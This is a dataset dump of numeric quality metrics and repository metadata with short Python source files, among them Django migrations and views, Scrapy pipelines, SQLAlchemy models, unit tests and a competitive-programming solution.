0.659743
115
1,011
5.495652
0.495652
0.094937
0.142405
0.161392
0.384494
0.384494
0.384494
0.142405
0
0
0
0.057882
0.196835
1,011
27
84
37.444444
0.720443
0.063304
0
0
0
0
0.236479
0.152704
0
0
0
0
0
1
0
false
0
0.190476
0
0.571429
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
557fcff17a72fc72698dda103501006c68671673
782
py
Python
opus/analyzer/possibility_space.py
Brychlikov/OPUS
380c0268cc77a2eac91ae7dd0f75f52444e7c665
[ "MIT" ]
null
null
null
opus/analyzer/possibility_space.py
Brychlikov/OPUS
380c0268cc77a2eac91ae7dd0f75f52444e7c665
[ "MIT" ]
null
null
null
opus/analyzer/possibility_space.py
Brychlikov/OPUS
380c0268cc77a2eac91ae7dd0f75f52444e7c665
[ "MIT" ]
2
2020-07-13T12:50:31.000Z
2020-07-16T17:36:01.000Z
from opus.lang.ir import BinaryExpr, InExpr, Atom, Branch, Test class PossibilitySpace: def __init__(self): self.points = list(range(0, 41)) self.clubs_points = list(range(0, 11)) self.diamonds_points = list(range(0, 11)) self.hearts_points = list(range(0, 11)) self.spades_points = list(range(0, 11)) self.clubs_might = set("AKQJ") self.diamonds_might = set("AKQJ") self.hearts_might = set("AKQJ") self.spades_might = set("AKQJ") self.clubs_has = set() self.diamonds_has = set() self.hearts_has = set() self.spades_has = set() def adjust(self, test: Test, truth: bool): pass def _adjust_binexpr(self, test: BinaryExpr, truth: bool): pass
24.4375
63
0.601023
102
782
4.431373
0.333333
0.110619
0.165929
0.176991
0.19469
0.19469
0
0
0
0
0
0.026362
0.272379
782
31
64
25.225806
0.768014
0
0
0.1
0
0
0.020513
0
0
0
0
0
0
1
0.15
false
0.1
0.05
0
0.25
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
55825ccd8b3e4c1bac3358fef4102b39d2fae8ce
342
py
Python
Round #542 (Div 2)/B.py
julianferres/Codeforces
ac80292a4d53b8078fc1a85e91db353c489555d9
[ "MIT" ]
4
2020-01-31T15:49:25.000Z
2020-07-07T11:44:03.000Z
Round #542 (Div 2)/B.py
julianferres/CodeForces
14e8369e82a2403094183d6f7824201f681c9f65
[ "MIT" ]
null
null
null
Round #542 (Div 2)/B.py
julianferres/CodeForces
14e8369e82a2403094183d6f7824201f681c9f65
[ "MIT" ]
null
null
null
def B(): n = int(input()) a = [int(x) for x in input().split()] d = {i:[] for i in range(1,n+1)} d[0]= [0,0] for i in range(2*n): d[a[i]].append(i) ans = 0 for i in range(n): a , b = d[i] , d[i+1] ans+= min(abs(b[0]-a[0])+abs(b[1]-a[1]) , abs(b[0]-a[1])+abs(b[1]-a[0])) print(ans) B()
22.8
80
0.418129
76
342
1.881579
0.276316
0.111888
0.125874
0.230769
0.167832
0
0
0
0
0
0
0.066946
0.30117
342
14
81
24.428571
0.531381
0
0
0
0
0
0
0
0
0
0
0
0
1
0.076923
false
0
0
0
0.076923
0.076923
0
0
1
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
5585ba80a93d143c9f2a752f359faa8767909fde
923
py
Python
HitchHikerDemo/trips/migrations/0001_initial.py
SohilaBogdadyNagdy/HitchHikerDemo
d0f0e1607d87d8eefc32688adf680ee0c45a8b42
[ "BSD-3-Clause" ]
null
null
null
HitchHikerDemo/trips/migrations/0001_initial.py
SohilaBogdadyNagdy/HitchHikerDemo
d0f0e1607d87d8eefc32688adf680ee0c45a8b42
[ "BSD-3-Clause" ]
null
null
null
HitchHikerDemo/trips/migrations/0001_initial.py
SohilaBogdadyNagdy/HitchHikerDemo
d0f0e1607d87d8eefc32688adf680ee0c45a8b42
[ "BSD-3-Clause" ]
null
null
null
# Generated by Django 2.0.8 on 2018-09-24 16:58 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Trip', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('from_country', models.CharField(max_length=30, verbose_name='Trip location Country')), ('to_country', models.CharField(max_length=30, verbose_name='Trip Destination Country')), ('from_city', models.CharField(max_length=30, verbose_name='Trip location City')), ('to_city', models.CharField(max_length=30, verbose_name='Trip Destination City')), ('departure_time', models.DateTimeField(verbose_name='Departure Time')), ], ), ]
35.5
114
0.620802
101
923
5.504951
0.475248
0.118705
0.129496
0.172662
0.402878
0.402878
0.402878
0.402878
0.402878
0
0
0.033333
0.252438
923
25
115
36.92
0.772464
0.048754
0
0
1
0
0.180365
0
0
0
0
0
0
1
0
false
0
0.055556
0
0.277778
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
558bf3366212bd5c97a002d9f8d0397d9cb07b30
264
py
Python
app/models/exclusion_keyword.py
Simple2B/twitter-bot
220fbf34489b6173683799631fa4ab5428ebe531
[ "Apache-2.0" ]
null
null
null
app/models/exclusion_keyword.py
Simple2B/twitter-bot
220fbf34489b6173683799631fa4ab5428ebe531
[ "Apache-2.0" ]
null
null
null
app/models/exclusion_keyword.py
Simple2B/twitter-bot
220fbf34489b6173683799631fa4ab5428ebe531
[ "Apache-2.0" ]
null
null
null
from app import db from app.models.utils import ModelMixin class ExclusionKeyword(db.Model, ModelMixin): __tablename__ = 'exclusion_keywords' id = db.Column(db.Integer, primary_key=True) word = db.Column(db.String(60), unique=True, nullable=False)
24
64
0.746212
36
264
5.305556
0.694444
0.073298
0.104712
0
0
0
0
0
0
0
0
0.008889
0.147727
264
10
65
26.4
0.84
0
0
0
0
0
0.068182
0
0
0
0
0
0
1
0
false
0
0.333333
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
559946abf5c77aabfc2d5346fb872ebd7c55debf
347
py
Python
tests/test.py
ebmhu2/pysqlcipher
c1feffaad1ae56ff45e795b4dbb08be97e860906
[ "BSD-3-Clause" ]
108
2015-01-14T16:04:17.000Z
2021-12-22T22:45:13.000Z
tests/test.py
ebmhu2/pysqlcipher
c1feffaad1ae56ff45e795b4dbb08be97e860906
[ "BSD-3-Clause" ]
18
2015-01-16T16:23:55.000Z
2020-01-07T07:32:53.000Z
tests/test.py
ebmhu2/pysqlcipher
c1feffaad1ae56ff45e795b4dbb08be97e860906
[ "BSD-3-Clause" ]
43
2015-01-16T15:56:04.000Z
2022-01-21T22:51:41.000Z
from pysqlcipher import dbapi2 as sqlite conn = sqlite.connect('test.db') c = conn.cursor() c.execute("PRAGMA key='testaverylongpasswordisthisokey'") c.execute("create table stocks (date text, trans text, symbol text, qty real, price real)") c.execute("""insert into stocks values ('2006-01-05','BUY','RHAT',100,35.14)""") conn.commit() c.close()
38.555556
91
0.729107
52
347
4.865385
0.75
0.094862
0
0
0
0
0
0
0
0
0
0.051118
0.097983
347
8
92
43.375
0.757189
0
0
0
0
0.125
0.553314
0.213256
0
0
0
0
0
1
0
false
0.125
0.125
0
0.125
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
559a824fc8f0a0ee98f130fc071ffbbe79012d25
687
py
Python
uw_uwnetid/tests/test_subscription_233.py
uw-it-aca/uw-restclients-uwnetid
5dc31c6701d482bbc2eedc75ab38656c1dd81a2c
[ "Apache-2.0" ]
1
2018-08-06T22:16:58.000Z
2018-08-06T22:16:58.000Z
uw_uwnetid/tests/test_subscription_233.py
uw-it-aca/uw-restclients-uwnetid
5dc31c6701d482bbc2eedc75ab38656c1dd81a2c
[ "Apache-2.0" ]
52
2017-06-15T22:48:55.000Z
2021-06-10T18:09:55.000Z
uw_uwnetid/tests/test_subscription_233.py
uw-it-aca/uw-restclients-uwnetid
5dc31c6701d482bbc2eedc75ab38656c1dd81a2c
[ "Apache-2.0" ]
null
null
null
# Copyright 2021 UW-IT, University of Washington # SPDX-License-Identifier: Apache-2.0 from unittest import TestCase from uw_uwnetid.subscription_233 import get_office365edu_prod_subs,\ get_office365edu_test_subs from restclients_core.exceptions import DataFailureException from uw_uwnetid.util import fdao_uwnetid_override @fdao_uwnetid_override class Office365EduSubsTest(TestCase): def test_get_office365edu_prod_subs(self): subs = get_office365edu_prod_subs("bill") self.assertFalse(subs.is_status_active()) def test_get_office365edu_test_subs(self): subs = get_office365edu_test_subs("bill") self.assertFalse(subs.is_status_active())
34.35
68
0.802038
89
687
5.831461
0.460674
0.17341
0.109827
0.132948
0.321773
0.157996
0.157996
0.157996
0
0
0
0.050251
0.131004
687
19
69
36.157895
0.819095
0.11936
0
0.153846
0
0
0.013289
0
0
0
0
0
0.153846
1
0.153846
false
0
0.307692
0
0.538462
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
559e63a96d9616ca03636e4d447be6182024d4a3
1,886
py
Python
apps/consultants/views.py
kradalby/kavik
81f4008a14103f57d8ef57802a7e6ad5e8c39124
[ "MIT" ]
null
null
null
apps/consultants/views.py
kradalby/kavik
81f4008a14103f57d8ef57802a7e6ad5e8c39124
[ "MIT" ]
null
null
null
apps/consultants/views.py
kradalby/kavik
81f4008a14103f57d8ef57802a7e6ad5e8c39124
[ "MIT" ]
null
null
null
import base64 import uuid from datetime import datetime from django.shortcuts import render from django.http import HttpResponse from apps.consultants.models import Consultant from kavik.settings import BASIC_USER, BASIC_PASS # Create your views here. # Basic auth decorator for some security layer. def basic_http_auth(f): def wrap(request, *args, **kwargs): if request.META.get('HTTP_AUTHORIZATION', False): authtype, auth = request.META['HTTP_AUTHORIZATION'].split(' ') auth = base64.b64decode(bytes(auth, 'utf-8')) # username, password = auth.split(':') # if username == 'test' and password == 'test': a = '%s:%s' % (BASIC_USER, BASIC_PASS) if auth == bytes(a, 'utf-8'): return f(request, *args, **kwargs) else: r = HttpResponse('Auth Required', status = 401) r['WWW-Authenticate'] = 'Basic realm='bat'' return r r = HttpResponse('Auth Required', status = 401) r['WWW-Authenticate'] = 'Basic realm='bat'' return r return wrap @basic_http_auth def maillist(request, team_id=None): if team_id and team_id.isnumeric(): consultants = Consultant.objects.filter(team=team_id, active=True) text = generateMailList(consultants) return HttpResponse(text, content_type='text/plain') if team_id == 'tl': consultants = Consultant.objects.filter(number__endswith='01', active=True) text = generateMailList(consultants) return HttpResponse(text, content_type='text/plain') consultants = Consultant.objects.filter(active=True) text = generateMailList(consultants) return HttpResponse(text, content_type='text/plain') @basic_http_auth def vcf(request): pass def generateMailList(consultants): pass
28.575758
83
0.644221
218
1,886
5.472477
0.37156
0.025147
0.032691
0.085499
0.326069
0.326069
0.326069
0.326069
0.326069
0.326069
0
0.011236
0.244963
1,886
65
84
29.015385
0.826545
0.080594
0
0.390244
0
0
0.097222
0
0
0
0
0
0
0
null
null
0.097561
0.170732
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
55a2a9f5168c7c1212293c70634e8657d9b2baed
193
py
Python
basic_template/MATA030TESTSUITE.py
98llm/tir-script-samples
0bff8393b79356aa562e9e6512c11ee6e039b177
[ "MIT" ]
17
2018-09-24T17:27:08.000Z
2021-09-16T19:09:46.000Z
basic_template/MATA030TESTSUITE.py
98llm/tir-script-samples
0bff8393b79356aa562e9e6512c11ee6e039b177
[ "MIT" ]
4
2018-09-24T17:30:32.000Z
2022-01-03T11:39:30.000Z
basic_template/MATA030TESTSUITE.py
98llm/tir-script-samples
0bff8393b79356aa562e9e6512c11ee6e039b177
[ "MIT" ]
18
2019-06-07T17:41:34.000Z
2022-01-31T18:17:31.000Z
import unittest from MATA030TESTCASE import MATA030 suite = unittest.TestSuite() suite.addTest(MATA030('test_MATA030_CT133')) runner = unittest.TextTestRunner(verbosity=2) runner.run(suite)
19.3
45
0.813472
23
193
6.73913
0.652174
0
0
0
0
0
0
0
0
0
0
0.090909
0.088083
193
10
46
19.3
0.789773
0
0
0
0
0
0.092784
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
55a340a847001d93733793fc1f9af84028ba043f
186
py
Python
ap_server/__init__.py
phelipealves/CreateAPServer
c6775631ff075b0c29ce8a81ea55ffe76327d924
[ "MIT" ]
1
2019-06-04T15:27:40.000Z
2019-06-04T15:27:40.000Z
ap_server/__init__.py
phelipealves/CreateAPServer
c6775631ff075b0c29ce8a81ea55ffe76327d924
[ "MIT" ]
null
null
null
ap_server/__init__.py
phelipealves/CreateAPServer
c6775631ff075b0c29ce8a81ea55ffe76327d924
[ "MIT" ]
null
null
null
import logging FORMAT = '%(asctime)s - %(name)s - %(levelname)s - %(message)s' logging.basicConfig(format=FORMAT) logger = logging.getLogger('ap_server') logger.setLevel(logging.DEBUG)
26.571429
63
0.736559
24
186
5.666667
0.625
0
0
0
0
0
0
0
0
0
0
0
0.091398
186
6
64
31
0.804734
0
0
0
0
0
0.327957
0
0
0
0
0
0
1
0
false
0
0.2
0
0.2
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
55b090375697179bf7c84dac05de48d6ec410a22
2,072
py
Python
6.Scrapy/Scrapy_Pipeline.py
gkimeeq/WebCrawler
2a427bc358547b31143032a56a20864559d77ca8
[ "Apache-2.0" ]
1
2019-07-12T14:00:54.000Z
2019-07-12T14:00:54.000Z
6.Scrapy/Scrapy_Pipeline.py
gkimeeq/WebCrawler
2a427bc358547b31143032a56a20864559d77ca8
[ "Apache-2.0" ]
null
null
null
6.Scrapy/Scrapy_Pipeline.py
gkimeeq/WebCrawler
2a427bc358547b31143032a56a20864559d77ca8
[ "Apache-2.0" ]
null
null
null
# coding=utf-8 from scrapy.exceptions import DropItem import json import pymongo # 过滤价格的管道 class PricePipeline(object): vat_factor = 1.15 def process_item(self, item, spider): if item.get('price'): if item.get('price_excludes_vat'): item['price'] = item['price'] * self.vat_factor # 重新设置价格 return item else: raise DropItem(u'缺失价格字段的Item:%s' % item) # 没有price字段的Item,丢弃 # 把Item输出到JSON文件 class JsonWriterPipeline(object): def open_spider(self, spider): # 打开spider时调用 self.file = open('item.jl', 'w') # 打开文件 def close_spider(self, spider): # 关闭spider时调用 self.file.close() # 关闭文件 def process_item(self, item, spider): # 实现把Item写入JSON line = json.dumps(dict(item)) + '\n' self.file.write(line) return item # 把Item保存到MongoDB,如何使用from_crawler()清理资源 class MongoPipeline(object): def __init__(self, mongo_uri, mongo_db): self.collection_name = 'scrapy_items' self.mongo_uir = mongo_uri self.mongo_db = mongo_db @classmethod def from_crawler(cls, crawler): # 用于创建管道实例 return cls(mongo_uri=crawler.settings.get('MONGO_URI'), # 从爬虫的设置里拿mongo_uri mongo_db=crawler.settings.get('MONGO_DATABASE', 'items')) # 从爬虫的设置里拿mongo_db def open_spider(self, spider): self.client = pymongo.MongoClient(self.mongo_uir) # Mongo客户端 self.db = self.client[self.mongo_db] # Mongo数据库 def close_spider(self, spider): self.client.close() # 关闭Mongo def process_item(self, item, spider): self.db[self.collection_name].insert_one(dict(item)) # 把Item保存到Mongo数据库 return item # 过滤重复的Item class DuplicatePipeline(object): def __init__(self): self.ids_exist = set() # 保存Item的id,每个id都唯一 def process_item(self, item, spider): if item['id'] in self.ids_exist: raise DropItem(u'重复的Item:%s' % item) # 丢弃id已经存在的Item else: self.ids_exist.add(item['id']) # 把id加入到集合 return item
29.6
96
0.640927
249
2,072
5.160643
0.373494
0.054475
0.04358
0.056031
0.185214
0.096498
0.052918
0.052918
0
0
0
0.002566
0.247587
2,072
69
97
30.028986
0.821681
0.137548
0
0.297872
0
0
0.062925
0
0
0
0
0
0
1
0.234043
false
0
0.06383
0.021277
0.510638
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
55c0195c8eccd2ae4c238f0f1c0d54e2067e91c2
456
py
Python
test/json_rpc_client.py
Vadman97/HawkProxy
ed2e2a59dd6f369756cfc459f2a5ec466615593e
[ "MIT" ]
null
null
null
test/json_rpc_client.py
Vadman97/HawkProxy
ed2e2a59dd6f369756cfc459f2a5ec466615593e
[ "MIT" ]
null
null
null
test/json_rpc_client.py
Vadman97/HawkProxy
ed2e2a59dd6f369756cfc459f2a5ec466615593e
[ "MIT" ]
1
2020-07-24T00:31:05.000Z
2020-07-24T00:31:05.000Z
#!/usr/bin/env python # vim: tabstop=4 shiftwidth=4 softtabstop=4 import xmlrpclib import json import sys import time import datetime import jsonrpclib server = jsonrpclib.Server('http://localhost:8080') retry = 1000 t1 = datetime.datetime.now() for i in xrange(retry): server.echo_rpc() t2 = datetime.datetime.now() print "time delta is: %s. Per RPC is:%s, Per second: %s" % ( (t2 - t1), (t2 - t1) / retry, retry / (t2 - t1).total_seconds())
21.714286
68
0.690789
69
456
4.536232
0.565217
0.038339
0.121406
0
0
0
0
0
0
0
0
0.049869
0.164474
456
20
69
22.8
0.771654
0.135965
0
0
0
0
0.178571
0
0
0
0
0
0
0
null
null
0
0.428571
null
null
0.071429
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
2
e94832de330199f7b805f616d7735034aa9f5252
1,938
py
Python
extranet/urls.py
montel-ig/codeshop
487e35a6ed7a21374263d304c4f347bb67d5a2d6
[ "Unlicense" ]
3
2020-04-28T04:51:42.000Z
2021-11-29T12:55:56.000Z
extranet/urls.py
montel-ig/codeshop
487e35a6ed7a21374263d304c4f347bb67d5a2d6
[ "Unlicense" ]
null
null
null
extranet/urls.py
montel-ig/codeshop
487e35a6ed7a21374263d304c4f347bb67d5a2d6
[ "Unlicense" ]
null
null
null
from django.conf.urls import patterns, url urlpatterns = patterns( '', url(r'^login/$', 'extranet.views.login', name='extranet_login'), url(r'^$', 'extranet.views.home', name='extranet_home'), # === github webhook === url(r'^github/webhook/(.*)/$', 'extranet.views.github.webhook', name='extranet_github_webhook'), # === coder === url(r'(.+)/timer/$', 'extranet.views.coder.timer', name='extranet_timer'), url(r'^hours/(.+)/(\d+)/W(\d+)/$', 'extranet.views.coder.weekly', name='extranet_coder_weekly'), url(r'^hours/(.+)/(\d+)/(\d+)/$', 'extranet.views.coder.monthly', name='extranet_coder_monthly'), url(r'^hours/(.+)/(\d+)/(\d+)/edit/$', 'extranet.views.coder.monthly_edit', name='extranet_coder_monthly_edit'), url(r'^hours/(.+)/(\d+)/(\d+)/edit/row/$', 'extranet.views.coder.monthly_edit_row', name='extranet_coder_monthly_edit_row'), url(r'^hours/(.+)/(\d+)/(\d+)/csv/$', 'extranet.views.coder.monthly_csv', name='extranet_coder_monthly_csv'), url(r'^hours/(.+)/$', 'extranet.views.coder.upload_hours_as_csv', name='extranet_upload_hours_as_csv'), # === team === url(r'^team/(.*)/meeting/$', 'extranet.views.team.weekly_meeting', name='extranet_team_weekly_meeting'), # === customer === url(r'^(.*)/(\d+)/W(\d+)/$', 'extranet.views.project.weekly', name='extranet_project_weekly'), url(r'^(.*)/(\d+)/(\d+)/$', 'extranet.views.project.monthly', name='extranet_project_monthly'), url(r'^(.*)/(\d+)/(\d+)/csv/$', 'extranet.views.project.monthly_csv', name='extranet_project_monthly_csv'), url(r'^(.*)/needs/$', 'extranet.views.project.needs', name='extranet_project_needs'), url(r'^(.*)/need/(.*)$', 'extranet.views.project.need', name='extranet_project_need'), url(r'^(.*)/$', 'extranet.views.project.home', name='extranet_project'), )
42.130435
90
0.598555
232
1,938
4.797414
0.146552
0.061096
0.113208
0.044924
0.208446
0.026954
0
0
0
0
0
0
0.142931
1,938
45
91
43.066667
0.670078
0.034056
0
0
0
0
0.642742
0.521693
0
0
0
0
0
1
0
false
0
0.029412
0
0.029412
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
e95b669dd2b12aa78d1ab3f9b5a00aad3a7f6cfc
211
py
Python
tests/cases/run/match2.py
3e45/minpiler
993bdb38d1e4709a412bb551f7eb213376bfe7d2
[ "MIT" ]
null
null
null
tests/cases/run/match2.py
3e45/minpiler
993bdb38d1e4709a412bb551f7eb213376bfe7d2
[ "MIT" ]
5
2022-02-12T19:53:08.000Z
2022-03-02T04:30:32.000Z
tests/cases/run/match2.py
3e45/minpiler
993bdb38d1e4709a412bb551f7eb213376bfe7d2
[ "MIT" ]
null
null
null
from minpiler.std import M, emulator match None: case 0: M.print(0) case None: M.print("None") case 1: M.print(10) case 2: M.print(20) # > None emulator.kill()
13.1875
36
0.526066
31
211
3.580645
0.516129
0.216216
0
0
0
0
0
0
0
0
0
0.058394
0.350711
211
15
37
14.066667
0.751825
0.028436
0
0
0
0
0.019704
0
0
0
0
0
0
1
0
true
0
0.090909
0
0.090909
0.363636
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
e9662521d42b52209301c8b3f2545ead764136ec
517
py
Python
APIs/APIs 6 - ORM/app/models.py
Nikolas010101/Projects
1338e8073dd85b5b9d2b107b51eff966eb4051e9
[ "MIT" ]
null
null
null
APIs/APIs 6 - ORM/app/models.py
Nikolas010101/Projects
1338e8073dd85b5b9d2b107b51eff966eb4051e9
[ "MIT" ]
null
null
null
APIs/APIs 6 - ORM/app/models.py
Nikolas010101/Projects
1338e8073dd85b5b9d2b107b51eff966eb4051e9
[ "MIT" ]
null
null
null
from .database import Base from sqlalchemy import Column, Integer, String, Boolean from sqlalchemy.sql.expression import text from sqlalchemy.sql.sqltypes import TIMESTAMP class Post(Base): __tablename__ = "posts" id = Column(Integer, primary_key=True, nullable=False) title = Column(String, nullable=False) content = Column(String, nullable=False) published = Column(Boolean, server_default="TRUE") created_at = Column(TIMESTAMP(timezone=True), nullable=False, server_default=text('now()'))
39.769231
95
0.758221
64
517
6
0.515625
0.135417
0.088542
0.130208
0
0
0
0
0
0
0
0
0.137331
517
13
95
39.769231
0.860987
0
0
0
0
0
0.027027
0
0
0
0
0
0
1
0
false
0
0.363636
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
e97a6a12194372c1b85cba9ce2bd9ed81aa1fbcf
2,429
py
Python
tests/test_utilities.py
gift-surg/ImageSplit
53db072dbb8ab85af7f7ec626ecc40571598ed90
[ "BSD-3-Clause" ]
2
2020-12-16T17:46:36.000Z
2021-05-26T06:56:53.000Z
tests/test_utilities.py
gift-surg/ImageSplit
53db072dbb8ab85af7f7ec626ecc40571598ed90
[ "BSD-3-Clause" ]
7
2018-02-16T15:39:47.000Z
2018-03-28T13:46:53.000Z
tests/test_utilities.py
tomdoel/ImageSplit
53db072dbb8ab85af7f7ec626ecc40571598ed90
[ "BSD-3-Clause" ]
2
2018-10-01T01:51:32.000Z
2019-04-18T16:32:07.000Z
# -*- coding: utf-8 -*- import unittest from parameterized import parameterized import numpy as np from imagesplit.image.combined_image import Limits from imagesplit.utils.utilities import file_linear_byte_offset, rescale_image class TestUtilities(unittest.TestCase): """Tests for utilities""" def test_get_linear_byte_offset(self): self.assertEqual(file_linear_byte_offset([11, 22, 33], 4, [1, 2, 3]), (1 + 2 * 11 + 3 * 11 * 22) * 4) self.assertEqual( file_linear_byte_offset([11, 22, 33, 44], 4, [1, 2, 3, 4]), (1 + 2 * 11 + 3 * 11 * 22 + 4 * 11 * 22 * 33) * 4) self.assertEqual(file_linear_byte_offset([11, 22, 33], 1, [1, 2, 3]), (1 + 2 * 11 + 3 * 11 * 22) * 1) self.assertEqual(file_linear_byte_offset([11, 22, 33], 4, [0, 2, 3]), (0 + 2 * 11 + 3 * 11 * 22) * 4) self.assertEqual( file_linear_byte_offset([55, 301, 999], 7, [14, 208, 88]), (14 + 208 * 55 + 88 * 55 * 301) * 7) @parameterized.expand([ [np.uint8, [1, 2, 3], Limits(0, 255), [1, 2, 3]], [np.uint8, [0, 2, 3], Limits(0, 255), [0, 2, 3]], [np.uint8, [-1, 2, 3], Limits(0, 255), [0, 2, 3]], [np.uint8, [0, 100, 300], Limits(100, 355), [0, 0, 200]], [np.uint8, [1, 2, 3], Limits(0, 255), [1, 2, 3]], [np.uint8, [0, 2, 3], Limits(0, 255), [0, 2, 3]], [np.uint8, [-1, 2, 3], Limits(0, 255), [0, 2, 3]], [np.uint8, [0, 100, 300], Limits(100, 355), [0, 0, 200]], [np.int8, [-128, -127, 0, 127, 128, 129], Limits(-127, 128), [-128, -128, -1, 126, 127, 127]], [np.int8, [-129, -128, -127, 0, 127, 128, 129], Limits(-128, 127), [-128, -128, -127, 0, 127, 127, 127]], [np.uint16, [-1, 0, 1, 65535, 65536], Limits(0, 65535), [0, 0, 1, 65535, 65535]], [np.uint16, [-1, 0, 1, 100, 65535, 65536], Limits(0, 32767), [0, 0, 2, 200, 65535, 65535]], [np.uint16, [-1, 0, 1, 65535, 65536], Limits(-1, 65534), [0, 1, 2, 65535, 65535]], [np.int16, [-32769, -32768, -32767, 0, 1, 32766, 32767, 32768], Limits(-32768, 32767), [-32768, -32768, -32767, 0, 1, 32766, 32767, 32767]], ]) def test_rescale(self, data_type, image_line, rescale_limits, expected): result = rescale_image(data_type, image_line, rescale_limits) self.assertTrue(np.array_equal(expected, result))
50.604167
148
0.533141
372
2,429
3.392473
0.204301
0.025357
0.021395
0.095087
0.53962
0.53962
0.457211
0.389857
0.347068
0.33439
0
0.276132
0.263483
2,429
47
149
51.680851
0.42929
0.017291
0
0.263158
0
0
0
0
0
0
0
0
0.157895
1
0.052632
false
0
0.131579
0
0.210526
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
e991c4a76cc0a1259169a936f05578bdeaff09a4
527
py
Python
exemplo_02.py
alef123vinicius/Estudo_python
30b121d611f94eb5df9fbb41ef7279546143221b
[ "Apache-2.0" ]
1
2021-02-10T14:59:44.000Z
2021-02-10T14:59:44.000Z
exemplo_02.py
alef123vinicius/Estudo_python
30b121d611f94eb5df9fbb41ef7279546143221b
[ "Apache-2.0" ]
null
null
null
exemplo_02.py
alef123vinicius/Estudo_python
30b121d611f94eb5df9fbb41ef7279546143221b
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Tue Feb 9 14:34:19 2021 @author: alef """ """ Comentários funcionais O caractere # marca o início de comentário. Qaulquer texto depois do # será ignorado até o fim da linha, com exceção dos comentários funcionais. Comentários funcionais são utilizados para codificar a fonte do programa e definir um interpretador, no caso acima, temos a codificação utf-8 e o interpretador python3 """ # uma linha de código que mostra o resultado de 7 vezes 3 print(7 * 3)
25.095238
84
0.73814
84
527
4.630952
0.761905
0.161954
0
0
0
0
0
0
0
0
0
0.044084
0.182163
527
21
85
25.095238
0.858469
0.28463
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
2
e9a66c8224c89a35f193bd98bec567216348a8cb
2,022
py
Python
tests/filters.py
mhsiddiqui/dj-rest-filters
0b3c2b6afff67d7707c7c04175bee1c43478b4f9
[ "MIT" ]
null
null
null
tests/filters.py
mhsiddiqui/dj-rest-filters
0b3c2b6afff67d7707c7c04175bee1c43478b4f9
[ "MIT" ]
null
null
null
tests/filters.py
mhsiddiqui/dj-rest-filters
0b3c2b6afff67d7707c7c04175bee1c43478b4f9
[ "MIT" ]
null
null
null
from djfilters import filters from .models import (BooleanModel, DateFieldModel, EmailModel, IpModel, NumberModel, RelatedIntIdModel, RelatedSlugIdModel, TextModel) # Simple Filters class TextFieldFilter(filters.Filter): text = filters.CharField(max_length=10, required=False) class BooleanFilter(filters.Filter): flag = filters.BooleanField() class CharFieldWithRequiredFilter(filters.Filter): char = filters.CharField() # Model filters class TextModelFilter(filters.ModelFilter): class Meta: model = TextModel fields = '__all__' class IpModelFilter(filters.ModelFilter): class Meta: model = IpModel fields = '__all__' class EmailModelFilter(filters.ModelFilter): class Meta: model = EmailModel fields = '__all__' class NumberModelFilter(filters.ModelFilter): class Meta: model = NumberModel fields = '__all__' class BooleanModelFilter(filters.ModelFilter): class Meta: model = BooleanModel fields = '__all__' class DateFieldModelFilter(filters.ModelFilter): class Meta: model = DateFieldModel fields = '__all__' class RelatedIntIdModelFilter(filters.ModelFilter): class Meta: model = RelatedIntIdModel fields = '__all__' class RelatedSlugIdModelFilter(filters.ModelFilter): class Meta: model = RelatedSlugIdModel fields = '__all__' class NoFieldFilter(filters.Filter): pass def get_model_filter( filter_class, fields='__all__', extra_kwargs={} ): 